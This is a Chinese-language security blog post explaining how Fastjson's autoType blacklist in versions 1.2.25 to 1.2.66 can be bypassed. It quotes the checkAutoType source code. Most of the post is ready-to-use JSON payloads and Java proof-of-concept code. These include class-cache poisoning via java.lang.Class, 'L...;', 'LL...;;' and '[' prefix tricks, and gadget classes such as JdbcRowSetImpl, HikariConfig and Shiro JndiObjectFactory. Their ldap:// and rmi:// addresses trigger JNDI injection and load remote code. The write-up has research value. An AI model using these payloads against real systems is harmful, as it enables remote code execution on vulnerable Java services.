首页 > 其他分享 >fastjson绕过-2

fastjson绕过-2

时间:2023-01-12 22:35:21浏览次数:67  
标签:fastjson 1.2 clazz typeName apache org 绕过 type

前言

这里的话就多介绍几种绕过的机制吧,然后原理的话就稍微分析一下,因为绕过的版本太多了,绕过的方法虽然有所不同但最终都是对代码的恶意解读嘛

1.2.25绕过

先看一下1.2.25这个版本是怎么修复这个漏洞的,简单点说就是增加了一个黑白名单。

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    if (typeName == null) {
        return null;
    }
 
    final String className = typeName.replace('$', '.');
 
    // autoTypeSupport默认为False
    // 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
    if (autoTypeSupport || expectClass != null) {
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                return TypeUtils.loadClass(typeName, defaultClassLoader);
            }
        }
 
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
    }
 
    // 从Map缓存中获取类,注意这是后面版本的漏洞点
    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
    if (clazz == null) {
        clazz = deserializers.findClass(typeName);
    }
 
    if (clazz != null) {
        if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }
 
        return clazz;
    }
 
    // 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
    if (!autoTypeSupport) {
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
 
                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
                return clazz;
            }
        }
    }
 
    if (autoTypeSupport || expectClass != null) {
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
    }
 
    if (clazz != null) {
 
        if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
            || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
           ) {
            throw new JSONException("autoType is not support. " + typeName);
        }
 
        if (expectClass != null) {
            if (expectClass.isAssignableFrom(clazz)) {
                return clazz;
            } else {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
        }
    }
 
    if (!autoTypeSupport) {
        throw new JSONException("autoType is not support. " + typeName);
    }
 
    return clazz;
}

默认增加了一个黑名单和白名单,然后黑名单是有一些类的静止的然后白名单是默认为空的

默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历黑名单,如果引入的库以黑名单中某个类开头,就会抛出异常,中断运行

具体有些

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

这些是被ban的然后呢这些类就是没法加载了,我们绕过黑白名单的思路无非就是去找除开黑名单意外的恶意类然后进行加载,要嘛就想办法去把自己的恶意类加入白名单中,然后这里的话利用了一个非常规的手法,

这里的话我先说第一种方法,去加载到缓存中,在fastjson漏洞原理的的时候我们更流程的时候就知道了一件事情,就是fastjson在反序列类的时候会去它自己的缓存里面找是否加载过这个类(就是那个mapping),然后我们去看看修复的时候是否存在这个问题

image-20230110200323549就是这个地方,它回去从

缓存里面获取,如果缓存里面存在的话那么就可以直接利用了,然后我们就要去找怎么去往这个缓存里面加载这个类,然后问题就出在这里,这个是一个反序列化器,就是对应这fastjson在初始化的时候会把那部分类放到缓存里面去,然后放到缓存里面去的时候就会调用这个反序列化器具

image-20230110200746474

调用反序列化器就会调用loadclasss然后问题就出在这里,它调用之后就会把我们传入的值给加到缓存里面,所以我们如果先加载一次,然后再反序列化一次就可以成果执行我们的恶意类image-20230110200709547

写payload

{{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

这是第一步的payload简单分析一下,前面这个lang.Class是为了调用那个类加载器,然后后面那个val是加载器里面的一个逻辑必须要是val才不会报错,然后就会把这后面那个值给附加到缓存Maping中

完整payload

class Demo5{
    public static void main(String[] args) {
      //这里我们就分为两步操作,但是代码要写在一起,因为我们需要初始化以后马上再调用反序列化所以需要衔接好
        // 加载一个恶意类
        //然后调用payload就行
        String JsonString="{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8088/MLgWxhdi\",\"autoCommit\":\"0\"}}";
        JSON.parseObject(JsonString);
    }
}

这里就很简单了就是用ldap那个类去执行了一下就可以执行了,这个方法绕过的话其实不是最开始1.2.25的绕过中间还有很多其他的版本去绕过,我去收集了一下这些版本的绕过payload和原理整理了一下

1.2.25-1.2.41

它的问题出在loadclass这个方法,前面是我们会经过黑名单的判断

image-20230112174229953

然后走到loadclass

image-20230112174256219

然后后面有一个判断的时候,这有个语句是判断,如果类前面是一个大写的L,后面是号的类,就会把这个两个符号删除然后类加载它,我感觉这个应该是用来处理异常的,

image-20230112174314230

但是这里就成了我们利用的条件

String payload ="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:8088/MLgWxhdi/ExportObject\",\"autoCommit\":\"true\" }";  
 JSON.parse(payload);  

1.2.25-1.2.42

我看到这个利用的时候我都觉得为什么修复的那么随意呀

image-20230112181322038

就取字符的时候多加了一位那双写不就行了嘛

EXP

{
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName":"ldap://127.0.0.1:8088/MLgWxhdi", 
    "autoCommit":true
}

1.2.25-1.2.43

然后再43这个版本增加了一个如果有LL开始的类直接就抛出异常

然后有对另外一个地方没有过滤好

image-20230112213149960

这里说的是如果类的第一个是 [号也会去加载类,然后中间还有一些if语句去判断要些什么符号

EXP

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://127.0.0.1:8088/MLgWxhdi", "autoCommit":true}

1.2.25-1.2.45

这个版本的绕过的话是需要mybats的jar包

EXP

public class SuccessBypassEXP_45 {  
    public static void main(String[] args) {  
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
 String payload ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +  
                "\"properties\":{\"data_source\":\"ldap://127.0.0.1:8088/MLgWxhdi\"}}";  
 JSON.parse(payload);  
 }  
}

主要是一个黑名单的绕过,这里主要是一个利用JNDI注入去构造的漏洞,在JNDI里面有setter方法直接去赋值了然后调用了LOOK方法所以可以触发,这里就不详细去跟了

借用一下一个师傅的

image-20230112215017281

Java反序列化Fastjson篇03-Fastjson各版本绕过分析 | 芜风 (drun1baby.github.io)

1.2.25-1.2.47通杀

这个通杀的话就是我最开始介绍的那种方法利用loadclasss去把前面类给加载到缓存里面,然后再加载的时候就可以了

1.2.5- 1.2.59

需要开启AutoType

{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://127.0.0.1:8088/MLgWxhdi"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://127.0.0.1:8088/MLgWxhdi"}

1.2.5 -1.2.60

无需开启 autoType:

{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://127.0.0.1:8088/MLgWxhdi"}

1.2.5-1.2.61

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"

1.2.5-1.2.66

前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}

小结

这篇文章的主要内容是在1.2.47前的通杀绕过利用loadclass绕过check机制,后续的话需要去慢慢研究一下较高版本的绕过就是1.6.21以后的,上面的大部分是一些收集的一些payload和一些简单绕过,后续就有基于新的机制的绕过

标签:fastjson,1.2,clazz,typeName,apache,org,绕过,type
From: https://www.cnblogs.com/0x3e-time/p/17048120.html

相关文章

  • XSS之WAF绕过及安全修复
    常规WAF绕过思路标签语法替换 (aherf /imgsrc''onerror='')特殊符号干扰 (/   #)提交方式更改垃圾数据溢出加密解密算法结合其他漏洞绕过——————通过拆解语句......
  • XSS代码及HTTP only绕过
    什么是HTTPonly?如果你在cookie中设置了HTTPonly属性,那么通过js脚本将无法获取cookie信息,这样能有效的防止XSS攻击。——————HTTPonly代码<?phpini_set("session.coo......
  • Bonitasoft认证绕过和RCE漏洞分析及复现(CVE-2022-25237)
    一、漏洞原理漏洞简述Bonitasoft是一个业务自动化平台,可以更轻松地在业务流程中构建、部署和管理自动化应用程序;Bonita是一个用于业务流程自动化和优化的开源和可扩展......
  • AspectJWeaver利用链绕过serialKiller
    AspectJWeaver利用链绕过serialKiller1.serialKiller原理:通过重写ObjectInputStream类中的resolveClass方法加入黑名单来限制反序列化的类,黑名单配置为serialkiller.con......
  • 数据库语法整理及WAF绕过方式
    关系型数据库关系型数据库:指采用了关系模型来组织数据的数据库。直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织。当今主流......
  • Fastjson反序列化漏洞
    前言Fastjson是阿里开发的一个Java库,用于将Java对象序列化为JSON格式,也可将字符串反序列化为Java对象。Fastjson是非常多见的Java反序列化漏洞,CTF中也出现的......
  • 文件上传之后端黑白名单绕过
    后缀名:黑名单、白名单l 黑名单:明确不让上传的格式后缀,比如asp、php、jsp、aspx、cgi、war等,但是黑名单易被绕过,比如上传ph5、phtml等。l 白名单:明确可以上传的格式后......
  • 文件上传之WAF绕过及安全修复
    上传参数名解析:明确哪些东西是能够修改的Contont-Disposition:一般可更改;Name:表单参数值,不可更改;Filename:文件名,可修改;Content-Type:文件MIME,视情况更改常见绕过方式数......
  • CDN绕过
    CDN绕过CDN的全称是ContentDeliveryNetwork,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分......
  • 文件上传——WAF绕过
    上传参数名解析:明确哪些东西能更改content-disposition:一般可更改name:表单参数值,不能更改filename:文件名,可以更改content-type:文件MIME,视情况更改-------文件上传WA......